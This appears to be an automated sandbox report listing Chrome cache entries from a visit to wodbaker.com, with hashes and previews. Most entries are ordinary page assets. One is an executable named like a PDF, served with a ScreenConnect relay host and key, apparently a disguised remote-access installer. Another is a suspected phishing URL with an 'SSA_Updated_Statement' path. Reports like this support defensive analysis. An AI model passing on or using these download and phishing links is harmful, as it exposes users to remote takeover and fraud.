Reputation:	low
URL:	https://wodbaker.com/App_Themes/DarkTeal/Default.css?__Cache=08be1136-3add-4a73-9d52-6ce1585c7407
Preview:	@font-face..{.....font-family: 'Roboto';...font-style: normal;...font-weight: 400;...src: local('Roboto'), local('Roboto-Regular'), url(data:;base64,d09GRgABAAAAAE8sABIAAAAAjVAAAQABAAAAAAAAAAAAAAAAAAAAAAAAAABHREVGAAABlAAAAEcAAABkBY0FvEdQT1MAAAHcAAAF0AAADOTOD/SpR1NVQgAAB6wAAAEnAAAB/KjvchZPUy8yAAAI1AAAAFAAAABgdJoBqGNtYXAAAAkkAAAB9gAAA+wIq1fpY3Z0IAAACxwAAABUAAAAVCuoB51mcGdtAAALcAAAATUAAAG8d/hgq2dhc3AAAAyoAAAADAAAAAwACAATZ2x5ZgAADLQAADtRAABsRLfAJjBoZG14AABICAAAAG4AAAEEGCANFGhlYWQAAEh4AAAANgAAADb8atJ6aGhlYQAASLAAAAAfAAAAJAq6BphobXR4AABI0AAAAnQAAAPg1wZYZGxvY2EAAEtEAAAB6gAAAfJCQyXBbWF4cAAATTAAAAAgAAAAIAMoAwluYW1lAABNUAAAAM0AAAF0GlU5EHBvc3QAAE4gAAAAEwAAACD/bQBkcHJlcAAATjQAAAD3AAABSaJm+sl42g3BMQEBUBgGwPveBlBCDZtVBD1sAEAMkEIpAfx3ohkC5pquiamYWYhljXWNbY1DjXONq7t4+mi+flIb+hgLUpd/EkELSgB42myMA2iFYRSGnw+zkf7cbNu2bds2sjEr21jW7Lzs5bpp2bPR8XmBAKwJJhGdnplfjtE2M9qP0TXa0YfR3zI+iIEGeHxEAKKvY3QQS3i70EhAYq0zEeyigWwRqCN1pAgXmepM3SqTuhP50l66KpM0pLuMlflyUC6re7kqt7Wv3Ne+ylH7voRKVPk6WHU+17yOVJsvPs/6s29xq+7ew/QZ99r

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
Reputation:	low
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	270794
Entropy (8bit):	4.831124935554849
Encrypted:	false
SSDEEP:	6144:RITRvTL92lQ+p/L7i++jri4iXiSKaA9Rb+SdFMKSF:GgpNK8
MD5:	91D9D6EDCEC4BD928299FB395FF2287F
SHA1:	C31DA954E8E52C0E4EEB9377FDD9D65B9CEF4B39
SHA-256:	A190ED347236402AB0B9D31C2FD6B703361E3CCE3D4FE86B48AC625D4F58FD7F
SHA-512:	4836608D86E658F406489CD95D78F4078F36C075C9989E30AC70DD9FC7D3C2FC688B380B103BBD55F2BAF83DD81BD8DDAF0BE50DDCD8E5789692250B617B1BDC
Malicious:	false
Reputation:	low
Preview:	(() => {. var __defProp = Object.defineProperty;. var __defProps = Object.defineProperties;. var __getOwnPropDescs = Object.getOwnPropertyDescriptors;. var __getOwnPropSymbols = Object.getOwnPropertySymbols;. var __hasOwnProp = Object.prototype.hasOwnProperty;. var __propIsEnum = Object.prototype.propertyIsEnumerable;. var __defNormalProp = (obj, key, value) => key in obj ? __defProp(obj, key, { enumerable: true, configurable: true, writable: true, value }) : obj[key] = value;. var __spreadValues = (a, b) => {. for (var prop in b \|\| (b = {})). if (__hasOwnProp.call(b, prop)). __defNormalProp(a, prop, b[prop]);. if (__getOwnPropSymbols). for (var prop of __getOwnPropSymbols(b)) {. if (__propIsEnum.call(b, prop)). __defNormalProp(a, prop, b[prop]);. }. return a;. };. var __spreadProps = (a, b) => __defProps(a, __getOwnPropDescs(b));. var __export = (target, all) => {. for (var name in all). __defProp(target, name, { get: a

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	38
Entropy (8bit):	1.4951396761379825
Encrypted:	false
SSDEEP:	3:OptlD/ltthXlD/ln:q
MD5:	A3DDC69EAD48D5E01CF0141DD3E20ABE
SHA1:	9A7A966E9735E9611FADBB9F7B14355769143663
SHA-256:	2206A9C2BB7C1863D52CAACD4D3926B48A9F21127901747953D05B1C447B24AE
SHA-512:	D6067138A484F73BCA2E693523EFEE45C31B359930CA5FE6C05C812D63F4D8878D1D4D15A3D211523459439C92BA8678310A85285E3CC0FF753A001EF7050CFD
Malicious:	false
Reputation:	low
Preview:	..................&... ..........&...

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	57459
Entropy (8bit):	3.8048520571278845
Encrypted:	false
SSDEEP:	768:MIttZ7h2FSwnlCnUnXsNm8/4mvmR+H8Pkc/Ulht/M1BT5q9wHEO:7t3/wl5ncNBbvR9c/UlhBgp5q9S
MD5:	885335C51FD35EE9C78B16622E581288
SHA1:	D28EAC61623BA48C62ABC935404E967FD94906F9
SHA-256:	A3A395CCCB926B4E9C17A9E7AF46D89184F769E8D6D9DAEB06C4186D340C9596
SHA-512:	21E93F4F44B4F249C5234C799E806FFA1C454C26DB9D6BF59CFC98D1574032295E44EC06D573C31990CF7444F06B55FA77FDC20BF7CFBB4B6C20BD65C594B1D9
Malicious:	false
Reputation:	low
URL:	https://wodbaker.com/App_Themes/DarkTeal/Default.css?r=Page.Background&__Cache=57459
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="2600" height="1900" fill="none"><g clip-path="url(#a)"><path fill="#fff" d="M0 0h2600v1900H0z"/><path fill="url(#b)" d="M2611-23H-7v976h2618V-23Z"/><path fill="url(#c)" d="M-51.3 1763H2669V958H-51.3v805Z"/><path fill="#fff" d="M2074.4 706.8a240.4 240.4 0 1 0 0-480.8 240.4 240.4 0 0 0 0 480.8Z" opacity=".1"/><path fill="#fff" d="M2074.4 663a196.6 196.6 0 1 0 0-393.2 196.6 196.6 0 0 0 0 393.2Z" opacity=".2"/><path fill="#fff" d="M2074.4 610.4a144 144 0 1 0 0-288 144 144 0 0 0 0 288Z" opacity=".3"/><path fill="#fff" d="M2074.4 557.8a91.4 91.4 0 1 0 0-182.8 91.4 91.4 0 0 0 0 182.8Z" opacity=".3"/><g opacity=".7"><path fill="#D3D3D3" d="M1766.6 682c-11.1-6.6-26.8-18.9-31.2 1.2-3.4-1.2-5.6 1-7.8 3.3-1.1 2.2 2.2 4.5 1.1 5.6-6.7 5.6-11.1 11.1-20 8.9-1.2 5.6 2.2 10 5.5 14.5 3.4 4.4-5.5 6.7-10 5.6-7.8-1.2-15.6-9-22.3-5.6-12.3 5.6-23.4 3.3-35.7 2.2-3.3 0-6.7 7.8-11.1 7.8a44.7 44.7 0 0 0-49.2 51.6c12.5-.2 22.6 7 30.2 17.5 2.3 3.4 6.7 2.2 9 2.2 3.3-2.2

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	132
Entropy (8bit):	4.67338220498513
Encrypted:	false
SSDEEP:	3:Vw/AwwwBHsLpHbGWjLwWkzXFETH1u4:Vw/Aw5BHsLRGAwWeXFEL13
MD5:	38DA4A7D2BA9FEA6FF0132E96D3FC26B
SHA1:	05148EC90C998C6C08C59DBA67F64375D32FA5B4
SHA-256:	EF6F54C12BBC9549B4F32430F977B97FE58239E15E4226E8688638A955B285C9
SHA-512:	0A92F424470BFD7DBA507D32D416605D59EBBEC4AE531AFEBB8E6CA85DF5C910A35E92E7A586FA45364DC9043F8B509034443BD565CA1117CA0671823EC45D3E
Malicious:	false
Reputation:	low
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=wodbaker.com&oit=3&cp=12&pgcl=7&gs_rn=42&psi=nhUweC4ZZtEIjcIf&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["wodbaker.com",[],[],[],{"google:clientdata":{"bpc":false,"tlw":true},"google:suggesttype":[],"google:verbatimrelevance":851}]

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	270794
Entropy (8bit):	4.831124935554849
Encrypted:	false
SSDEEP:	6144:RITRvTL92lQ+p/L7i++jri4iXiSKaA9Rb+SdFMKSF:GgpNK8
MD5:	91D9D6EDCEC4BD928299FB395FF2287F
SHA1:	C31DA954E8E52C0E4EEB9377FDD9D65B9CEF4B39
SHA-256:	A190ED347236402AB0B9D31C2FD6B703361E3CCE3D4FE86B48AC625D4F58FD7F
SHA-512:	4836608D86E658F406489CD95D78F4078F36C075C9989E30AC70DD9FC7D3C2FC688B380B103BBD55F2BAF83DD81BD8DDAF0BE50DDCD8E5789692250B617B1BDC
Malicious:	false
Reputation:	low
URL:	https://wodbaker.com/Scripts/SC.main.ts?ScriptImportType=Classic&__Cache=8032cd77-99f2-48ec-b6b2-b64d99072a97
Preview:	(() => {. var __defProp = Object.defineProperty;. var __defProps = Object.defineProperties;. var __getOwnPropDescs = Object.getOwnPropertyDescriptors;. var __getOwnPropSymbols = Object.getOwnPropertySymbols;. var __hasOwnProp = Object.prototype.hasOwnProperty;. var __propIsEnum = Object.prototype.propertyIsEnumerable;. var __defNormalProp = (obj, key, value) => key in obj ? __defProp(obj, key, { enumerable: true, configurable: true, writable: true, value }) : obj[key] = value;. var __spreadValues = (a, b) => {. for (var prop in b \|\| (b = {})). if (__hasOwnProp.call(b, prop)). __defNormalProp(a, prop, b[prop]);. if (__getOwnPropSymbols). for (var prop of __getOwnPropSymbols(b)) {. if (__propIsEnum.call(b, prop)). __defNormalProp(a, prop, b[prop]);. }. return a;. };. var __spreadProps = (a, b) => __defProps(a, __getOwnPropDescs(b));. var __export = (target, all) => {. for (var name in all). __defProp(target, name, { get: a

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47694)
Category:	dropped
Size (bytes):	47695
Entropy (8bit):	5.401533135534308
Encrypted:	false
SSDEEP:	768:IXCtQmIutwVHozZBF6gmXLSOzQDjdadOQbk6sgEvxm7b39tobLKZUenw81KZLGcD:IGJWHozZBF6xbGeLsVvQ33FUeDW
MD5:	481EDB6F4045F16980C920CCD9705105
SHA1:	D8CB40ABC935DC65D25D83D8358F52AC88742F73
SHA-256:	5F7C821EEA52471A9BBB0397DF6B77EE279505BE05BB52AEF00932989522D3C2
SHA-512:	497484EF0BAB7D2F4ED38E8063D1BAED9C8B49775CCF490CFF0C2B9CE73265D8E5292DA9FCEEB22B4CED508B9930A6ADBB145E2E2DC458FAF67EBB706D3021D3
Malicious:	false
Reputation:	low
Preview:	"use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Ht(u,o,c,g,h,"next",l)}function h(l){Ht(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132997
Entropy (8bit):	5.435681527485218
Encrypted:	false
SSDEEP:	3072:f6kXyPqO7UX1Hme9kZbs4Voc5cSnXqwQ2i6o:f9yWFHrp4Voc5cSnawQ8o
MD5:	1581E021AE0FC15DD88E5A6A4670EE59
SHA1:	B5EE73E194E3474D90471DE4974EDEFD671D10E9
SHA-256:	EE890B0658B324E64C22517E99D7353D0AF8E8DC40C132873FA23A2AD0BFB314
SHA-512:	F174C10F1CED9F15A1A21579B0BFD71922E2821F7D4977C52715F8C8902405FF8DA3342EAC1123C39D237F39D00AA9B9400215B1D4D54983252EDC576F395D67
Malicious:	false
Reputation:	low
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	346
Entropy (8bit):	5.163355813248498
Encrypted:	false
SSDEEP:	6:tI9mc4slzXdhyKd49fhWR6mqZlllZmSgT9j+VsVNkFuuHSjAcAA8:t4BdEK2zhllls4sVU3Q8b
MD5:	76FA773933E8313A93F5DEE59E919D83
SHA1:	DB438D4795023149A335DFE1C7DCFA1C5F09FEE6
SHA-256:	81FCE97D96268840367D7F9119333C8BFCCF3A633A68006A87240288A085B0B1
SHA-512:	797B037627C3F3EBEDCB4629FF8019B68D525C707FE969C9B8A7E2D816816009DD8CC470CE6447031F1B8835B05EBC30116A4F41E9C20B34E026E920A89428D7
Malicious:	false
Reputation:	low
URL:	https://wodbaker.com/Images/ActionCenter.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none"><g stroke="#fff" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" clip-path="url(#a)"><path d="M18 8A6 6 0 1 0 6 8c0 7-3 9-3 9h18s-3-2-3-9ZM13.73 21a2 2 0 0 1-3.46 0"/></g><defs><clipPath id="a"><path fill="#fff" d="M0 0h24v24H0z"/></clipPath></defs></svg>

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 95 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.035372245524405
Encrypted:	false
SSDEEP:	3:yionv//thPl+dO9Bxl/k4E08up:6v/lhPgU9B7Tp
MD5:	FF7F6DD7018BCDB4F1468BB3716A126B
SHA1:	FA39BF9626C12F79239D88D5FDC2E28F534675EB
SHA-256:	0CBD2DE5328EB2CE7711F0DC2AED3F5FF5D96965814D43B611AED367C4B88D03
SHA-512:	89644F605E6375087A4B2EEE8467B8A878CFF11A4DBD40ED24FBCEE6C867A7049CF61927CBFD3A49B3FFCACEFD2FE2059EE6C6E92BC5C3248BBB505201A97945
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..._..........>......IDAT.....$.....IEND.B`.

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	821
Entropy (8bit):	4.800266067300724
Encrypted:	false
SSDEEP:	12:tvG1m++rIvPzn7PzWPzMWxqznOWxqzjWxqzqznczRz2:tu1m+wePz7PzWPzAzmzzzqzczRz2
MD5:	2599340BF60EE89B13E6B91BEEFE1199
SHA1:	4E0BABCD7FDCABC1759ED0F130E06972340C5127
SHA-256:	5BF4F707F250958980D313203989F1FCA55B9446F34D667E7256F853D52E494D
SHA-512:	B22AB922530CBABC1C9A2800218F620060B1BE8B69EF67D47A8ABA5F3897B1E651D1CF8025E933CFA70CC26FA8E50F8AC0F4318E51D3F876F2CEF3F6B278AD19
Malicious:	false
Reputation:	low
Preview:	<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 48 48"><defs><style>.cls-1{fill:#fff;}</style></defs><title>WaffleIcon</title><rect class="cls-1" x="32.05" y="7" width="8.95" height="8.95" rx="2"/><rect class="cls-1" x="19.53" y="7" width="8.95" height="8.95" rx="2"/><rect class="cls-1" x="7" y="7" width="8.95" height="8.95" rx="2"/><rect class="cls-1" x="32.05" y="19.53" width="8.95" height="8.95" rx="2"/><rect class="cls-1" x="19.53" y="19.53" width="8.95" height="8.95" rx="2"/><rect class="cls-1" x="7" y="19.53" width="8.95" height="8.95" rx="2"/><rect class="cls-1" x="32.05" y="32.05" width="8.95" height="8.95" rx="2"/><rect class="cls-1" x="19.53" y="32.05" width="8.95" height="8.95" rx="2"/><rect class="cls-1" x="7" y="32.05" width="8.95" height="8.95" rx="2"/></svg>

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	downloaded
Size (bytes):	83280
Entropy (8bit):	6.514504428285572
Encrypted:	false
SSDEEP:	1536:RoG6KpY6Qi3yj2wyq4HwiMO10HVLCJRpsWr6cdaWPBJYY379J:LenkyfPAwiMq0RqRfbaWZJYY3f
MD5:	23B44C9F64A248BE4F01A1BFD1FE0686
SHA1:	39561DB40A4E616C787188C56CCD51ACDE9EB57B
SHA-256:	5FB3EA2D6FD25C4161C25405FB6BA4CFBC25B3242051FA9A89027CA474872F43
SHA-512:	159508CD818F1264EBF281400DBB6D0AEDB2A131944BC37E5E91A9FFF33866164EF8EF1D0D86E089A7577F20CBF6636C2F67CB0B6AA44FC652257A2349335BAC
Malicious:	false
Reputation:	low
URL:	https://wodbaker.com/Bin/performance_metrics-pdf.Client.exe?h=instance-w08c5r-relay.screenconnect.com&p=443&k=BgIAAACkAABSU0ExAAgAAAEAAQBtb%2FXciCJO5hHyAR3NG5qwkHgKE4K5jxeGBs35Nlncjh1l6g%2B23I88rvlqmL%2FU%2BHDK35q63nY%2BZ%2BacGdqbEGbCs9%2BC5ELjJTyrUFEL0gVqegeArzyszYoIS4ijuI8mGGKzW9tytW5tQhqCPuQeWdSbe0f0ttBWIUk6MfP0L7WpImwpbDzvxtmyMWSxZ8JZg39F6e1w8cQHzLH0aqJX9uvQgIvogbJB0mFXWURVi9ErahW%2BwkXWptsr99acbACeWvHhej11zT9ZPHMMaluuXTiYnS06xPJTJZglT5hvMbl15uReewBWhhwiEVa2S%2BD%2BCQEQGLsz1dpJNd543dQllUPh&s=bc9a796e-2e89-48ba-9484-932c800a4c34&i=&e=Support&y=Guest&r=
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ycId...d...d......n.............\|.......A.......v.......v...m`..a...d...........e.......e.......e...Richd...........PE..L......g...............'..........................@..........................P............@.....................................<....0..................P-...@......8...p...........................x...@...............<............................text............................... ..`.rdata..X].......^..................@..@.data...............................@....rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 95 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.035372245524405
Encrypted:	false
SSDEEP:	3:yionv//thPl+dO9Bxl/k4E08up:6v/lhPgU9B7Tp
MD5:	FF7F6DD7018BCDB4F1468BB3716A126B
SHA1:	FA39BF9626C12F79239D88D5FDC2E28F534675EB
SHA-256:	0CBD2DE5328EB2CE7711F0DC2AED3F5FF5D96965814D43B611AED367C4B88D03
SHA-512:	89644F605E6375087A4B2EEE8467B8A878CFF11A4DBD40ED24FBCEE6C867A7049CF61927CBFD3A49B3FFCACEFD2FE2059EE6C6E92BC5C3248BBB505201A97945
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8e6c301cb8601885/1732312784549/6ubB1azQhHpJs3x
Preview:	.PNG........IHDR..._..........>......IDAT.....$.....IEND.B`.

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (647), with CRLF line terminators
Category:	downloaded
Size (bytes):	32343
Entropy (8bit):	5.270104801950312
Encrypted:	false
SSDEEP:	768:Z6rvOwZW/e/1h/Q0/Qg/pkkk8LTqDY/MmAGgxVO/D:Z6DOPK19Q0QIpyfcMNVO/D
MD5:	9BAB08B942E91EF384911D53AF7C0DCB
SHA1:	ECAF7EF77808389C30716489ED96ADA680803B7B
SHA-256:	31DCCF1F88543BE223BB32B34FAE5FF1BD9A245036BD5239F72841991BB2A350
SHA-512:	88D5621390D965F7315AB43802CF4D12298F138B01D180287C1C669FA6CDBB46A9F38CE324A597D093E85D80E413993E7FA3909B8F18672BC6643CBA0DF04980
Malicious:	false
Reputation:	low
URL:	https://wodbaker.com/
Preview:	..<!DOCTYPE html>..<html>..<head><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" />...<script>......function setTaggedSessionInfo(tag, taggedSessionInfo) {.....var oldTaggedSessionInfo = window._taggedSessionInfos[tag];.....window._taggedSessionInfos[tag] = taggedSessionInfo;.......if (!oldTaggedSessionInfo \|\| taggedSessionInfo.SessionID != oldTaggedSessionInfo.SessionID \|\| taggedSessionInfo.Code != oldTaggedSessionInfo.Code)......SC.livedata.notifyDirty();....}......// backwards compatibility with extensions....function setTaggedSessionID(tag, sessionID) {.....window.setTaggedSessionInfo(tag, { SessionID: sessionID });....}......function getTaggedSessionInfo(tag) {.....return window._taggedSessionInfos[tag];....}........function getSessionInfo() {.....var liveData = SC.livedata.get();.....return liveData && liveData.ResponseInfoMap && liveData.ResponseInfoMap['GuestSessionInfo

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1405
Entropy (8bit):	5.397089716017982
Encrypted:	false
SSDEEP:	24:2dmMPmIAvy45SUoLYuwxvRIylsm69yylksVYgB/68uENVP:cVmIAqySJYuQI/9MsVBiW
MD5:	3AB48667055EBB4CE5364BF1D99A085F
SHA1:	457013A698AEAAF06EAD0ADC2834F144A63802B0
SHA-256:	86F3376B1601A4A0AA3851274FF16D64BF858EE60F5D5DA4A2C6710073FC5CCD
SHA-512:	B28FF44357DD8AB785CD9144B608098887196F14809F1ED3C35E50B75D1FA7406BAEC7B5F4ECB350E00250D49D5B6D211B0C4D885D718CF44F722CBB5FB73BE6
Malicious:	false
Reputation:	low
URL:	https://identitys.fraudguard.es/favicon.ico
Preview:	<?xml version="1.0" encoding="UTF-8"?>..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN".. "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">..<head>..<title>Object not found!</title>..<link rev="made" href="mailto:admin@example.com" />..<style type="text/css"> /--><![CDATA[/> / .. body { color: #000000; background-color: #FFFFFF; }.. a:link { color: #0000CC; }.. p, address {margin-left: 3em;}.. span {font-size: smaller;}../ */--></style>..</head>....<body>..<h1>Object not found!</h1>..<p>...... The requested URL was not found on this server..... .... The link on the.. <a href="https://identitys.fraudguard.es/SSA_Updated_Statement/">referring.. page</a> seems to be wrong or outdated. Please inform the author of.. <a href="https://identitys.fraudguard.es/SSA_Updated_Statement/">that page</a>.. about the error..... ....</p>..<p>..If you think this is a server error,

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	322
Entropy (8bit):	4.413306438828794
Encrypted:	false
SSDEEP:	6:tI9mc4sl3suuHDUVbyXUrxFTTMKbCuuHsvU2qYVyX8D/FtnIcLKb8:t41s3DUVbyeDTTMKG3X2qIyMTFNHLKY
MD5:	813C72F0A4741978669871E3800D5279
SHA1:	AE5E036F992577F8AFCA3D99A352F44A217C2C2A
SHA-256:	8FCE4AAD3B04F9B76A08BAD9B2459E355BBF16A470486D689FA801B9A30E3061
SHA-512:	BCB4DE8EBA321BFE1EC092E53C87275143508B2E3298A099AE0BC90449557AE741AD34B36795538C6A10493E9937C36FE2FB230513FF56FAC05F2AAE5EE8F796
Malicious:	false
Reputation:	low
